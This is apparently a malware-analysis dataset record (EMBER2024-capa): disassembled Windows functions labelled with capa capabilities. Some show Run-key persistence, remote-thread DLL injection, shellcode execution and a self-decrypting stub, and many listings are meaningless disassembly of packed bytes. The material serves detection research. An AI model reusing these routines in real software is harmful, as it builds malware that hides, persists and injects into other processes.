joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42135a
Capabilities:
Encode data using xor

Disassembly:
pop edi
adc eax, 0xdeed107f
int3
jg 0x421325
in eax, dx
fmulp st(4)
inc eax
push eax
pop edx
xor byte [edi - 0x176f491], dh
mov esi, 0x91438137
xchg ecx, eax
loope 0x421310
sbb byte [ebx - 0x4bb77601], dh
dec ecx
fisubr dword [edx]
movsb byte es:[edi], byte [esi]
mov al, byte [0x5f46bfaf]
xchg dword [edx - 0x3e], esi
enter 0xffffffffffffb4d3, 0xfffffffffffffff3
das
pop ds
mov dh, 0x5f
add eax, 0xfe25864a
sti
sub eax, 0x2287a832
and byte [ebx - 0x6f39c0f0], dh
push ebp
mov ah, 0x1d
ljmp 0x97b7
jmp 0x421313
xchg edi, eax
jmp 0x421313

Function at 0x42375a
Capabilities:
Encode data using xor

Disassembly:
in al, dx
retf
test byte [ebx], cl
jp 0x4236c4
add al, 0xf0
cwde
std
sahf
fiadd word [ecx - 0x47]
xor dl, byte [esi]
inc eax
adc ebx, dword [0xb890d244]
push eax
mov bh, byte [edi - 0x7f1b8d73]
jb 0x423740
invalid
dec ebx
jb 0x423740
or byte [ebx - 0x55], 0x32
and ah, bl
pushal
mov eax, es
dec esp
rol byte [edi + 0x57], 1

Function at 0x44e1fa
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 2
jne 0x44e22c
movzx ecx, word [ebp + 8]
sar ecx, 0x38
mov bl, 0x20
inc edi
add byte [edx - 0x2cee1b99], dh
dec edi
loope 0x44e278
shr dword [edi - 0x55ddb205], cl
and dword [ecx - 0xe0f4dfd], ebx
bound ebx, qword [ebp - 0x34cc97c3]
inc ebp
aam 0x84
aas
push 0xd445cb33
test byte [edi], bh
ret 0xa357
jl 0x44e2ad
ror dword [ecx], 1
salc
pop edx
fist word [esi - 0x1d103c53]
cmp bl, byte [edx - 0x8fada7e]
pop ss
jae 0x44e2a9
invalid
jo 0x44e2b9
ret
test al, 0x31
push edx
xor dl, byte [ebx - 0x59]
mov byte [0x65e61eff], al
or dl, byte [edx + 0x3430e09d]
mov bl, 0x39
mov esi, 0x5e22a822
xchg edx, eax
popfd
loopne 0x44e2ed
xor al, 0xb3
cmp dword [esi + 0x5e22a822], edi
lds ebx, [eax - 0x1a18d7ea]
mov ecx, 0xceb98cdf
mov ah, 0x75
out 0x7d, al
adc al, 0xa0
outsd dx, dword [esi]
inc edx
jnp 0x44e305
ror dword [eax], cl
pop esp
lodsd eax, dword [esi]
lodsb al, byte [esi]
ret
adc ebx, dword [ebx + edi - 0x17]
jb 0x44e35e
push ebx
mov bl, 0xc3
mov edi, 0xdf5e772a
jnp 0x44e3ae
aas
inc ebx
dec ebx
sar dword [0x1f524a12], 1
push es

Function at 0x452d8f
Capabilities:
Encode data using xor

Disassembly:
cmp esi, dword [ecx]
or esp, dword [esi]
jl 0x452dff
cli
push 0x5f
pop eax
pushfd
inc edi
push eax
lea eax, [eax + edi*8 - 0x62]
sub al, 3
adc ch, dl
insd dword es:[edi], dx
add dword [eax], eax
mov ecx, 0x370a744c
xor al, 0x16
cwde
outsd dx, dword [esi]
jae 0x452da5
sbb eax, 0xfe2fbc45
jb 0x452dc1
mov byte [0x5a21e0a5], al
scasd eax, dword es:[edi]
adc edi, dword [edx]
pop ds
cmp bl, byte [edi]
lodsb al, byte [esi]
inc eax
aas
sub al, 0x3e
push 0x624d5267
add eax, 0x3b12b633
pop es
lahf
insd dword es:[edi], dx
pop edx
sub al, 0xb
sub al, 0x3c
and dword [edi - 0xc], eax
leave
outsd dx, dword [esi]
cmp eax, 0x53ce309d
xor ch, byte [ecx]
test dword [eax - 0x27ef92b0], ebx
retf
dec ebp
lodsd eax, dword [esi]
inc esp
pop edx
push 0xba330fe5
cmp al, 0xb1
call [eax - 0x24ddd5ce]
sbb ebx, ebx
ret 0x6129
Function at 0x46547a
Capabilities:
Encode data using xor

Disassembly:
sahf
and ah, byte [ecx - 0x53]
invalid
dec ecx
add eax, 0x67ed6b30
test eax, 0x90444f63
jbe 0x46544f
hlt

Function at 0x4800b2
Capabilities:
Encode data using xor

Disassembly:
pop esi
mov dword [edx], ebx
int1
cdq
leave
cdq
xchg edx, eax
imul ebx, dword [ecx + 0x614dc709], 0xd96a15c8
cdq
or edi, eax
dec ebp
popal
enter 0x6a15, 0xffffffffffffffd9
mov bh, 0xec
jns 0x48007e
dec eax
jge 0x47fff3
sti
add al, 0x60
pop ebx
fldcw word [0xc9fdcecf]
lodsb al, byte [esi]
or dword [edi + 0x13], ebp
clc
pushal
mov esi, 0xcb0ccee2
aam 0x6f
jg 0x47fff6
fistp dword [ebx - 0x7a]
sbb al, 0xc6
xchg esp, eax
imul ecx, dword [ecx + 0x49], 0x9e8dc49e
pop es
mov word [0xc7cec33a], ss
fdiv dword [ebx + ebp*4 - 0x5c]
xor eax, 0x1118072a
push cs
sbb eax, 0x6223c8cb
std
lahf
rcl byte [esi + edi*8 + 0x50f552ea], cl
call 0x68c0e949
sete byte [eax - 0x6c]
jb 0x47ffec
shl dword [esp + ebx*8 + 0x75], 0xfc
out 0x9c, eax
xor eax, 0x745a68dd
jp 0x480015
arpl word [ecx + 0x52], sp
jne 0x480043
xor eax, 0x1ef2e8b8
inc ebp
jne 0x480085
arpl word [edi + 0x61], bx
pop edi
popal
mov ecx, 0xbec9e3b4
jmp 0x4800a4
lcall 0xa0b8, 0x38846334
jne 0x4800b6
jne 0x480087
jecxz 0x480074
and eax, 0x8747af5
jne 0x480111
mov ecx, 0x75c874a6
invalid
xor dh, byte [ebp + 0x63]
xor al, 0xe3
arpl word [ebx], si
call 0x477727dd
out 0xf5, al
xor dh, byte [ebp + 0x7e]
jle 0x480066
scasd eax, dword es:[edi]
jle 0x480066
scasd eax, dword es:[edi]
imul ecx, dword [edi], 0x23f43eb5
dec edi
jecxz 0x4800a6
lgs edi, [esi]
hlt
ret 0x6399
cli
cmp byte [eax - 0x440d657d], 0xec
mov eax, 0xbbf29a83
in al, dx
jl 0x48010f
sahf
invalid
Function at 0x49648a
Capabilities:
Encode data using xor

Disassembly:
push edx
push edi
jmp 0x132b065b
cmpsb byte [esi], byte es:[edi]
sub al, 0x71
inc edx
outsb dx, byte [esi]
mov ah, 0xa1
cwde
std
stosb byte es:[edi], al
jae 0x4963fc
stc
ljmp 0x21b2
and al, 0xb0
dec edx
add dword [edi], esi
and al, 0xe7
xchg edi, eax
scasb al, byte es:[edi]
sub edx, edi
lea ecx, [ecx - 0x4d2eb04c]
mov edi, 0xc7b10c8f
add dword [edx + 0x31ff0807], ebp
xchg ecx, eax
popfd
mov dh, 0x9b
and al, bh
stosb byte es:[edi], al
pop es
or bh, bh
xor dword [ecx + 0x209bb69d], edx
clc
cmp al, 0x34
cmc
xlatb
cmpsb byte [esi], byte es:[edi]
cld
mov cl, 0xac
mov dl, 0x46
stosd dword es:[edi], eax
xor al, 0xa0
nop
loopne 0x49648b
dec edx
and al, al
jl 0x49644c
bnd je 0x496451
push esp
xchg ah, ch
mov dword [0x5b91], eax
bound edx, qword [edx + edi*2 - 0x74]
mov dword [0xf8394a91], eax
xchg ecx, eax
dec edx
cmp eax, edi
loope 0x4964bb
or al, 0x82
and eax, 0x61a4bc4c
cmp al, 0x99
mov esp, 0x993c61a4
sbb dword [ebx + 0x4957bcaf], 0x8e219f6c
and dword [ecx + edi*4 - 0x4771ab68], ebx
sahf
lahf
dec ebp
xchg byte [eax + ebx - 0x708ac4c4], bl
mov eax, 0x864d9f9e
pushfd
sbb byte [ebx + edi], bh
jne 0x496474
mov ebx, es
lodsd eax, dword [esi]
sar dword [ebx + 0x436d8b4a], 1
and byte ds:[edi + ecx + 0x3754e5c4], bl
xchg ebx, eax
sbb al, 0x53
or dword [edi - 0x7e7159d4], 0x62
and dword [edi - 0x5355726e], ecx
adc cl, byte [edx + eax + 0x7c85cabc]
mov ebx, 0xcde49696
cmp byte [esp + ebx*4 + 0x708eb0b5], 0x38
lodsd eax, dword [esi]
pushfd
jecxz 0x4964da
mov byte [0xa4fa51ae], al
loop 0x4964c5
invalid

Function at 0x4ae62e
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x4bdcd101
imul bh
sti
mov al, 0x9b
mov dword [0x1c54765d], eax
push 0x5d0831f3
push 0x936b8541
inc esi
rcl dword [ecx + 0x3360485e], 0x87
invalid
xchg ecx, eax
pop esi
dec eax
pushal
xor eax, dword [edi - 0x13231171]
mov eax, 0xac289064
inc eax
sbb dword [ecx], ecx
pop es
lodsd eax, dword [esi]
xchg ebx, eax
das
jns 0x4ae5e4
xchg edi, eax
sbb cx, word [edi + edx*4 + 0x1501516b]
out dx, eax
xchg ecx, eax
invalid
xor al, 0xc0
xchg ebx, eax
loopne 0x4ae600
or al, 0x4b
sub al, 0xf7
add dword [ebx - 0x17138313], ecx
cmp al, 0xfc
call 0x64c62ec5
fnstsw word [ebx + edi*8]
pushfd
invalid
Function at 0x4bb031
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4c2390
cmp edx, dword [eax]
je 0x4bb053
add eax, 8
inc ecx
cmp eax, 0x4c2420
jl 0x4bb044
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4c2390]
jne 0x4bb181
mov eax, dword [0x4c6d1c]
cmp eax, 1
je 0x4bb15b
test eax, eax
jne 0x4bb084
cmp dword [0x4c22bc], 1
je 0x4bb15b
cmp edx, 0xfc
je 0x4bb181
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4bb0bb
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004bba10
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004bbea0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4bb0fe
lea eax, [ebp - 0x1a4]
push eax
call fcn.004bbea0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4c072c
push edi
call fcn.004bdd70
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004bba10
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004bba20
lea eax, [ebp - 0xa0]
push 0x4c070c
push eax
call fcn.004bba20
push dword [esi + 0x4c2394]
lea eax, [ebp - 0xa0]
push eax
call fcn.004bba20
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004bdce4
add esp, 0x2c
pop edi
jmp 0x4bb181
lea eax, [ebp + 8]
lea esi, [esi + 0x4c2394]
push 0
push eax
push dword [esi]
call fcn.004bbea0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x6adc12f3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, 0x182
je 0x6adc1325
mov eax, dword [ebp - 0x14]
cmp eax, 0x1e6
je 0x6adc1325
mov eax, dword [ebp - 0x14]
cmp eax, 0x24a
jne 0x6adc132c
mov eax, 1
jmp 0x6adc1331
mov eax, 0
leave
ret

Function at 0x6adc1333
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x110]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
lea eax, [ebp - 0x110]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x110]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.AutoRun
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret
Function at 0x6adc144b
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [ebp - 0xc], eax
mov dword [esp], str.kernel32.dll
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [esp + 4], str.LoadLibraryA
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0x14], eax
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x18], eax
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov edx, dword [ebp - 0x18]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x1c], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov dword [esp + 0xc], 0x8000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x6adc16db
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov eax, dword [ebp + 8]
call eax
nop
leave
ret

Function at 0x6adc1ac0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6adc603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x6adc6034]
sub esp, 4
test ebx, ebx
je 0x6adc1b0b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x6adc1b04
test esi, esi
je 0x6adc1b04
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x6adc1ae0
mov dword [esp], 0x6adc603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret
Function at 0x6adc1cf0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x6adc4174
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x6adc1d40
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x6adc1e18
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x6adc1d7e
cmp eax, 4
jne 0x6adc1da0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x6adc1d8e
cmp edx, 4
je 0x6adc1d8e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.6adc1cf0
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x4031f4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x403203
pop dword [ebp - 8]
mov eax, 0xeb3aef69
add eax, 0x1505429a
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0x2d6010f1
add dword [ebp - 0x18], 0x20f2345a
mov dword [ebp - 0x14], 0x7a41d6ae
sub dword [ebp - 0x14], 0x480e8a69
mov dword [ebp - 0x10], 0x41187282
add dword [ebp - 0x10], 0xb33d1ac
mov dword [ebp - 0xc], 0x31e2e130
sub dword [ebp - 0xc], 0x31e2e130
lea eax, [ebp - 0x18]
push eax
mov eax, 0x1862f0ea
sub eax, 0x1822705e
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0x96a0d6e6
add dword [ebp - 0x18], 0xddd19270
mov dword [ebp - 0x14], 0xccb8765d
add dword [ebp - 0x14], 0x74b3eb18
mov dword [ebp - 0x10], 0x35a09ef4
add dword [ebp - 0x10], 0x2dcecd78
mov dword [ebp - 0xc], 0xbc01ab37
sub dword [ebp - 0xc], 0xbc01ab37
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0x851333fd
add eax, 0x7b2d4cd7
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x36a45
push 0
call eax
mov ecx, 0x8e49d03
add ecx, 0xf71bab2e
mov ebx, eax
mov esi, 0x988d2217
add esi, 0x67b3ede9
add esi, dword [ebp - 8]
mov edi, 0x5273e6ff
add dword [ebp - 4], ebx
mov edx, dword [esi]
xor dword [ebp - 4], edi
sub edx, edi
sub dword [ebp - 4], 0xcc9f7c59
mov dword [ebx], edx
sub dword [ebp - 4], edx
add ebx, 0x8f4ab9b1
sub ebx, 0x8f4ab9ad
add esi, 4
loop 0x40331f
add eax, 0xf0e0924b
sub eax, 0xf0df7eb4
mov ebx, eax
add eax, 0xcaafbde9
sub eax, 0xcaafbde4
mov ecx, 0x400000
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x75760e
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
push 0x3b0434a0
not ecx
mov dword [esi], ecx
lea esp, [esp + 0xc]
jmp fcn.00c3cedb

Function at 0x75768f
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
lea esp, [esp + 0xc]
jmp fcn.00c3cedb

Function at 0x75c45e
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
mov edx, dword [ebp]
push 0x851c0696
push 0xeb030782
add ebp, 4
mov eax, 0x34167222
mov dword [esp + eax*2 - 0x682ce43c], 0x760ec229
xchg edx, ebp
call fcn.0078f103

Function at 0x75d639
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
add esi, 6
shld edx, eax, cl
mov dword [esi], edx
lea esp, [esp + 4]
jmp fcn.00c3cedb

Function at 0x75e230
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
lea ecx, [esp + ecx + 8]
mov ebp, dword [ecx + ebp*2 - 0x5d8c219e]
push 0x49afead
jmp 0x8a3857
sub esi, 4
mov dword [esi], ebp
lea esp, [esp + 0xc]
jmp fcn.00c54562

Function at 0x760f91
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
mov eax, dword [esi + 4]
mul ecx
push 0x3e0c539a
mov dword [esi], edx
jmp 0xbfdbb0
not dword [esp]
mov dword [esi + 4], eax
lea esp, [esp + 0xc]
jmp fcn.00c3cedb

Function at 0x76126d
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
jb 0x8bc53d
push 0x6f922294
mov word [edi], ax
lea esp, [esp + 4]
jmp fcn.0079b9b9
add esi, 2
imul cl
mov word [esi], ax
push 0x7a1ab508
lea esp, [esp + 8]
jmp fcn.00c3cedb

Function at 0x7641c5
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
lea esp, [esp + 8]
jmp fcn.00c3cedb

Function at 0x7651d1
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
shrd ax, dx, cl
mov dword [esp], 0xb816641b
jmp 0x76c93d
mov word [esi], ax
jmp 0x80936a
not dword [esp]
lea esp, [esp + 8]
jmp fcn.00c3cedb

Function at 0x765b14
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
lea esp, [esp + 8]
je 0x8e81b5
push 0x738222bb
not dword [esp]
mov dword [esp], ebx

Function at 0x76735b
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
mov dword [esi], ebp
mov dword [esp + 4], 0xa0b75886
lea esp, [esp + 8]
jmp fcn.00c3cedb

Function at 0x769237
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
lea esp, [esp + 8]
jmp fcn.00c3cedb

Function at 0x76f5d7
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
inc ecx
add ah, 0x10
mov word [esp + 0x11], 0x301
inc ecx
xor bh, ah
jmp 0x8cd123
or word [esp + 0x10], 0x7c09
dec esi
lea esp, [esp + 0x18]
dec ecx
mov dword [esp], ebp
dec eax
lea esp, [esp + 0x18]
jne fcn.008d19a2

Function at 0x770a71
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
add esi, 6
mov word ss:[edx], bp
lea esp, [esp + 4]
jmp fcn.00c3cedb

Function at 0x770ec8
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
lea esp, [esp + 4]
jmp fcn.00c3cedb
Function at 0x77164d
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
sub esi, 4
mov dword [esi], ebp
push 0x12a3d784
lea esp, [esp + 0xc]
jmp fcn.00c54562

Function at 0x778e02
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
lea esi, [esi + edi*2 - 0x8415]
call fcn.008bea90

Function at 0x778e0e
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
add word [esp + 5], 0xf0a7
sal ax, cl
push 0xd42d7b02
mov word [esi], ax
push 0x8717c612
push 0x9134934
lea esp, [esp + 0x14]
jmp fcn.00c3cedb

Function at 0x780938
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
mov edx, dword [esi]
mov eax, dword [esi + 4]
mov dword [esp], 0x93bc1b11
and word [esp + 1], 0x799c
adc esi, 8
mov dword fs:[edx], eax
lea esp, [esp + 4]
jmp fcn.00c3cedb

Function at 0x781397
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
mov dx, word [edi + edx - 0x13b49615]
jmp 0x764d84
push 0x2d1cd60b
shr word [esp + 1], 0xca
adc esi, 2
mov word [esi], dx
lea esp, [esp + 4]
jmp fcn.0087f052
mov ecx, dword [edi + ecx - 0x897c]
call fcn.0083026e
add byte [eax], al
add byte [edi + 0x65], al
je 0x781368
jb 0x781389
arpl word [ecx + 0x64], ax
jb 0x781385
jae 0x781395
add byte [ebp - 0x16efdb9c], cl
fisttp qword es:[edi]
add byte [ebp - 0x16f3db9c], cl
stosd dword es:[edi], eax
aam 0x4d
add byte [edi + 0xfa9ad25], bh
mov edi, dword [esi + edi*2 - 0x1f535a4a]
mov edx, 0x13b49615
jmp 0x758a36
add al, 0xe9
out dx, eax
or byte [eax], dl
add byte [ebx + 0x4c7810f], cl
mov ecx, dword [edi]
add edi, 4
mov dword [esp], ecx
jmp 0x881905
jmp 0x79af8e
add al, byte [eax]
add byte [eax], al
or eax, 0x6b2b6800
xchg dl, dh
not byte [esp + 3]
mov edx, esi
not dword [esp]
sub esi, 4
mov dword [esi], edx
lea esp, [esp + 4]
jmp fcn.00c54562
mov dword [esp], eax
dec ebx
call fcn.00798550
mov edx, 0x3a9d8980
movzx ecx, dx
mov edx, dword [edi + edx*2 - 0x753b1300]
jmp 0x781305

Function at 0x783047
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
mov dword [esp + edi*2 - 0x6f316958], esi
pushfd
pop edi
mov dword [esp], edi
mov esi, edx
jmp 0xc5ae38
mov edi, 0xbb994d9d
call fcn.00754653

Function at 0x7835f3
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
mov cl, byte [edi + 2]
push 0xfb13fd97
adc edi, 2
dec word [esp]
shr dx, cl
mov word [edi], dx
jmp 0xbe117c
shld eax, edx, cl
mov dword [esi], eax
jmp 0xbcc9d3
rol dl, 1
or eax, eax
jne 0xc3c279
sal ecx, 0xa6
add cl, byte [esi + 8]
add esi, 6
jmp 0x77a8d1
movsx ebx, ax
mov ebx, edx
movzx edx, al
seta dl
sub al, 0xb9
add edx, ebx
inc al
sal edx, 2
mov eax, ebp
call fcn.0075c5c8
mov ecx, 0xf7068b85
mov dx, word [edi]
dec cx
shr cl, 0xa2
jp 0x779c29
lea esp, [esp + 4]
jmp fcn.00c3cedb
lea esp, [esp + 4]
jmp fcn.008c7f98
rol ax, 0x21
neg dl
mov dword [esp], 0x428f6113
shr eax, 0xbd
rol dl, 1
dec dl
xchg dword [esp + eax - 4], eax
xor bl, dl
or dword [esp + eax - 0x428f6113], 0x601ebd37
mov dword [esp + eax - 0x428f6113], ebp
movsx ebp, al
push ebx
mov ebp, edi
sub eax, 0xb9a18489
jbe 0x7bf6d0
wait
mov ecx, 0x6d915d53
ljmp 0x8371